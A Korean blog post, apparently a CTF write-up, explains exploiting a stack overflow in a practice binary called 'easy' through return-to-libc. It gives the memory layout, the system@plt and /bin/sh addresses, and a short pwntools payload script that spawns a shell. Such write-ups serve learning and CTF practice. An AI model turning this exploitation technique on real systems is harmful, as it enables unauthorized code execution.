티스토리 뷰
블로그보다가 바이너리 있길래 easy easy.. very easy 다른거 풀다가 안풀려서 풀어봤는데 easy.
그냥 RTL 하면 된다.
buf의 위치는 bp-108인데 입력은 130만큼 받는다.
고로 bof가 발생한다.
system 함수는 있겠고. 설마 /bin/sh이 있나 했더니
있었다.
고로 간단하게 RTL했다.
먼저 메모리구조는
buf(108byte) | sfp(4) | ret(4) | AAAA | 인자
요러케 되고 저렇게 공격하면 된다.
0x8048310 <system@plt>
0x804a020 ("/bin/sh")
이것들을 이용해서.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | from pwn import *
s = process("./easy")
system = 0x8048310 cmd = 0x804a020
payload = "A"*112 payload += p32(system) payload += "AAAA" payload += p32(cmd)
s.send(payload) s.interactive()
|
ret에서 system으로 뛰고 인자로 cmd를 넣어줬다.
쉘을 얻을 수 있다.
'pwnable > CTF write-up' 카테고리의 다른 글
[Codegate 2016] watermelon write-up (0) | 2018.05.24 |
---|---|
[CSAW2013] exploitation-2 write-up (0) | 2018.05.14 |
[CSAW2013] Exploitation-1 write-up (0) | 2018.05.12 |
[Codegate 2018] betting write-up (0) | 2018.05.12 |
[Codegate 2017] babypwn write-up (0) | 2018.01.30 |
Comments
최근에 올라온 글
최근에 달린 댓글
TAG
- FSB
- shellcoding
- 본선가고싶다
- hacking
- heap
- ebp change
- fastbindup
- pwnable.tw
- pwable
- TLS
- oob
- fsop
- fastbin
- glibc
- exit
- rt_sigreturn
- SQLi
- tcache
- pwnable
- srop
- stack reusing
- HackCTF
- 해킹
- codegate
- overflow
- Total
- Today
- Yesterday